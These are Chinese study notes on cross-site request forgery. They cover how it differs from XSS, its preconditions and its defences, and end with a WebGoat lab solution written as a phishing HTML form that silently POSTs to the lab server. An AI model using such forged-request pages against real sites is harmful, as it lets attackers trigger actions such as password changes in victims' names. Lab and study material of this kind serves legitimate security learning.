CSRF
基础知识
- 与XSS区别
从信任的角度来区分
XSS:利用用户对站点的信任
CSRF:利用站点对已经身份认证的信任 - 攻击原理
在客户端与服务端(如果服务端没有对请求进行二次验证)建立合法请求之后,攻击者通过各种方法向受害者发送一个链接,受害者点击链接后,在受害者非自愿的情况下向服务端发送了指令(诸如修改密码之类的),之后,攻击者就可以通过受害者的账号和攻击者自己设置的新密码登录服务端。 - CSRF是一种业务逻辑漏洞
对关键操作缺少确认机制
自动扫描程序无法发现此类漏洞 - 漏洞利用条件
被害用户己经完成身份认证
新请求的提交不需要重新身份认证或确认机制
攻击者必须了解Web APP请求的参数构造
诱使用户触发攻击的指令(社工) - 防御手段
Captcha (验证码验证)
anti-CSRF token:( 在服务器端生成随机token,浏览器在发起针对数据的修改请求将token提交,由服务器端验证通过够进行操作逻辑,token需要至多一次有效,并具有有限的生命周期
a. 表单提交修改数据- 可将token生成在表单内使用input:hidden标签进行提交
b. Ajax提交修改数据-可将token生成在cookie内(cookie不能设置为httponly),ajax请求前通过js读取cookie中的token并添加到request body或者http requestheader中进行提交
)
referrer头检验
降低会话时间
题解
- 0x03
构造钓鱼页面发给受害者,诱使受害者(在于服务端建立连接之后)点击
<html>
<body>
<form action="http://192.168.80.2:8080/WebGoat/csrf/basic-get-flag" method="POST">
<input type="hidden" name="csrf" value="false" />
<input type="hidden" name="submit" value="%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"/ >
<input type="submit" value="click"/>
</form>
</body>
</html>